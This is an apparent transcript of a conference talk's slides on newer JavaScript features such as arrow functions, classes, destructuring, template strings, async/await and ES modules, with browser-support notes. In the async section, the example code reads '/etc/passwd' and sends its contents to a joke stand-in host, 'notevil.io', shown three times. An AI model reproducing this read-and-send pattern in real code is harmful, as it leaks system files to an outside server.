new javascript is the best javascript · implicit return coffee script had it first => {}; //...
TRANSCRIPT
J AVA S C R I P TN E W J AVA S C R I P T I S T H E B E S T
T H E PAT R I C K . I O / TA L K S . H T M L
L I K E T H I SI W R O T E C O D E
bob = 'Bob';
function callbob() { document.write("Say hi " + bob); }
setTimeout('callbob()');
I W R I T E B E T T E R C O D E
I W R I T E N I C E R C O D E
B U T T H AT ’ S N O T I T
E S 6
E S 2 0 1 6
E S . N E X T
A N O T E O N B A B E L
^ N O T R E Q U I R E D T O D AYMOSTLY
M Y FAV O U R I T E S
A R R O W F U N C T I O N S
T H E Y L O O K L I K E T H I SC O F F E E S C R I P T H A D I T F I R S T
() => {}; // function() {}
str => `Hey #{str}`; // function(str) { return `Hey #{str}`; }
(a, b) => ( a + b ); // function(a, b) { return a + b; }
I M P L I C I T R E T U R NC O F F E E S C R I P T H A D I T F I R S T
() => {}; // function() {}
str => `Hey #{str}`; // function(str) { return `Hey #{str}`; }
(a, b) => ( a + b ); // function(a, b) { return a + b; }
I M P L I C I T R E T U R NC O F F E E S C R I P T H A D I T F I R S T
['explosions', 'vampires'].map(thing => thing.toUpperCase() ); // ['EXPLOSIONS', 'VAMPIRES']
I M P L I C I T R E T U R NC O F F E E S C R I P T H A D I T F I R S T
fetch('http://www.google.com/') .then(data => data.json()) .then(data => console.log(data));
M E S S E D U P T H I S ?W H O H A S N ’ T
function Something() { this.clicks = 0; this.watch(function (el) { el.addEventListener('click', function () { this.clicks += 1; }); }); }
const something = new Something(); something.watch(btn);
M E S S E D U P T H I S ?W H O H A S N ’ T
function Something() { this.clicks = 0; this.watch(function (el) { el.addEventListener('click', function () { this.clicks += 1; }.bind(this)); }); }
const something = new Something(); something.watch(btn);
C A P T U R E T H I SN O M O R E
function Something() { this.clicks = 0; this.watch(function (el) { el.addEventListener(‘click', () => { this.clicks += 1; }); }); }
const something = new Something(); something.watch(btn);
A R G U M E N T SN O M O R E
() => { console.log(arguments); }
U S E T H E R E S TN O M O R E A R G U M E N T S
(...args) => { console.log(args); }
C A N I U S E I T ?B U T
const ie = false; const edge = true; // >= 12 const firefox = true; // >= 22 const chrome = true; // >= 45 const safari = true; // >= 10, iOS >= 10 const android = true; // >= 56, chrome >= 59 const node = true; // >= 6
E S 6 C L A S S E S
“ C L A S S ” ?R E M E M B E R T H I S
function Something() { this.clicks = 0; }
Something.prototype.watch = function (el) { el.addEventListener('click', function () { this.clicks += 1; }); };
const something = new Something(); something.watch(btn);
C L A S SH O W A B O U T T H I S F O R
class Something { constructor() { this.clicks = 0; } watch(el) { el.addEventListener('click', () => { this.clicks += 1; }); } }
const something = new Something(); something.watch(btn);
S T R A N G E ?D O E S I T D O A N Y T H I N G
class Something {}
new Something(); // All good!
Something(); // TypeError: Cannot call a class constructor without |new|
C A N I U S E I T ?B U T
const ie = false; const edge = true; // >= 12 const firefox = true; // >= 45 const chrome = true; // >= 49 const safari = true; // >= 9, iOS >= 9.2 const android = true; // >= 56, chrome >= 59 const node = true; // >= 4
O B J E C T S
A L I T T L E S H O R T E RM A K E D E C L A R I N G O B J E C T S
const name = 'bob'; const object = { name: name, foo: function () { return this.name; }, };
object.name === object.foo(); // true!
A L I T T L E S H O R T E RM A K E D E C L A R I N G O B J E C T S
const name = 'bob'; const object = { name, foo() { return this.name; }, };
object.name === object.foo(); // true!
P R O P E R T I E SH O W A B O U T C O M P U T E D
const object = { get age() {}, set age(value) {} };
P R O P E R T Y N A M E SH O W A B O U T C O M P U T E D
const name = 'Foo'; const object = { [`foo${name}`]: 'Baz' };
// { fooFoo: 'Baz' }
C A N I U S E I T ?B U T
const ie = false; const edge = true; // >= 14 const firefox = true; // >= 34 const chrome = true; // >= 49 const safari = true; // >= 9, iOS >= 9.3 const android = true; // >= 56, chrome >= 59 const node = true; // >= 4
D E S T R U C T U R I N G
A N O B J E C TD E S T R U C T U R E
const obj = { foo: "FOO", bar: "BAR" }; const { foo, bar } = obj;
console.log(foo); // "FOO" console.log(bar); // “BAR"
A N A R R AYD E S T R U C T U R E
const [foo, bar] = ['FOO', 'BAR'];
console.log(foo); // FOO console.log(bar); // BAR
A N A R R AYD E S T R U C T U R E
const [foo, bar, ...therest] = ['FOO', 'BAR', 'OTHER', 'THINGS'];
console.log(foo); // FOO console.log(bar); // BAR console.log(therest); // ['OTHER', 'THINGS']
A R G U M E N T SD E S T R U C T U R E
function destructureThis({ name }) { console.log(name); }
destructureThis({ name: 'Patrick' }); // Patrick
C A N I U S E I T ?B U T
const ie = false; const edge = true; // >= 14 const firefox = true; // >= 34 const chrome = true; // >= 49 const safari = true; // >= 10, iOS >= 10 const android = true; // >= 56, chrome >= 59 const node = true; // >= 4
T E M P L AT E S T R I N G S
A S W E D I D T H E MS T R I N G S
const myString = 'Something about something\n' + 'and the value of pi: ' + Math.PI;
W I T H A L I T T L E `S T R I N G S
const myString = `Something about something and the value of pi: ${Math.PI}`;
C A N I U S E I T ?B U T
const ie = false; const edge = true; // >= 13 const firefox = true; // >= 34 const chrome = true; // >= 41 const safari = true; // >= 9.1, iOS >= 9.2 const android = true; // >= 56, chrome >= 59 const node = true; // >= 4
L E T ’ S TA L K A S Y N C H R O N O U S LY
A C T U A L LY T H AT S O U N D S C O N F U S I N G
H E R E ’ S W H AT W E H AV E B E E N D O I N G .
A N D W E I N D E N TW E R E A D A F I L E , M A K E A R E Q U E S T, W R I T E A F I L E
fs.readFile('/etc/passwd', (err, data) => { request({ url: 'https://notevil.io/passwords', body: data.toString(), }, (err, response, body) => { fs.writeFile('/tmp/dont-delete-me', () => { console.log('Ok!'); }); }); });
P R O M I S E S , P R O M I S E ST H E R E H A S T O B E A B E T T E R W AY
fs.readFile('/etc/passwd') .then((err, data) => request({ url: 'https://notevil.io/passwords', body: data.toString(), }) ) .then((err, response, body) => fs.writeFile('/tmp/dont-delete-me') ) .then(() => console.log('Ok!'));
W H AT I F I T L O O K E D S Y N C H R O N O U S
A S Y N C A W A I TT H E R E H A S T O B E A B E T T E R W AY
try { const data = await fs.readFile('/etc/passwd'); const [response, body] = await request({ url: 'https://notevil.io', body: data.toString(), }); await fs.writeFile('/tmp/dont-delete-me', body); console.log('Ok!'); } catch (err) { console.error('Oops!', err.message); }
A N A S Y N C F U N C T I O N ?H O W D O I M A K E
async function speak() { }
A N A S Y N C F U N C T I O N ?H O W D O I M A K E
async () => { }
A N A S Y N C F U N C T I O N ?H O W D O I M A K E
async function speak() { const { name } = await somethingElse(); return name; }
O L D T H I N G S ?O K , B U T W H AT A B O U T
function test() { return Promise.resolve('test1'); }
async () => { const value = await test(); console.log(value); // 'test1' }
E V E N O L D E R T H I N G S ?O K , B U T W H AT A B O U T
function wrap(name) { return new Promise((resolve, reject) => { awesomeApi(name, (err, response) => { if (err) { reject(err); } else { resolve(response); } }); }); }
L O O P SO K , B U T W H AT A B O U T
async function noticedTwoThings(movie) { const things = []; for(let feature of movie.features) { things.push(await feature.download()); } return things; }
T W O T H I N G S AT O N C EO K , B U T W H AT A B O U T
async function noticedTwoThings({ features }) { const explosions = features[0].download(); const vampires = features[1].download(); const twoThings = await Promise.all([explosions, vampires]); return twoThings; }
T W O T H I N G S AT O N C EO K , B U T W H AT A B O U T
async function noticedTwoThings({ features }) { const explosions = features[0].download(); const vampires = features[1].download(); return Promise.all([explosions, vampires]); }
I N S A FA R I ’ S C O N S O L EY O U C A N E V E N U S E T H I S
C A N I U S E I T ?B U T
const ie = false; const edge = true; // >= 15 const firefox = true; // >= 52 const chrome = true; // >= 58 const safari = true; // >= 10.1, iOS >= 10.3 const android = true; // >= 56, chrome >= 59 const node = true; // >= 7.6
E S 6 M O D U L E S
T H E R E A L LY O L D W AYS H A R I N G C O D E
// file1.js window.add = (a, b) => { return a + b; };
// file2.js add(1, 1); // 2, hopefully
// test.html <script src="file1.js"></script> <script src="file2.js"></script>
C O M M O N . J SS H A R I N G C O D E
// file1.js module.exports.add = (a, b) => { return a + b; };
// file2.js const { add } = require('./file1');
add(1, 1); // 2, hopefully
// test.html - using browserify <script src="bundle.js"></script>
E S 6 M O D U L E SS H A R I N G C O D E
// file1.js export function add(a, b) { return a + b; }
// file2.js import { add } from './file1';
add(1, 1); // 2, hopefully
// test.html <script type=”module” src="file2.js"></script>
C A N I U S E I T ?B U T
// maybe
C A N I U S E I T ?B U T
const ie = false; const edge = false; // flag! const firefox = false; const chrome = true; // >= 61 const safari = true; // >= 10.1, iOS >= 10.3 const android = false; const node = false;
Q U E S T I O N S
T H A N K S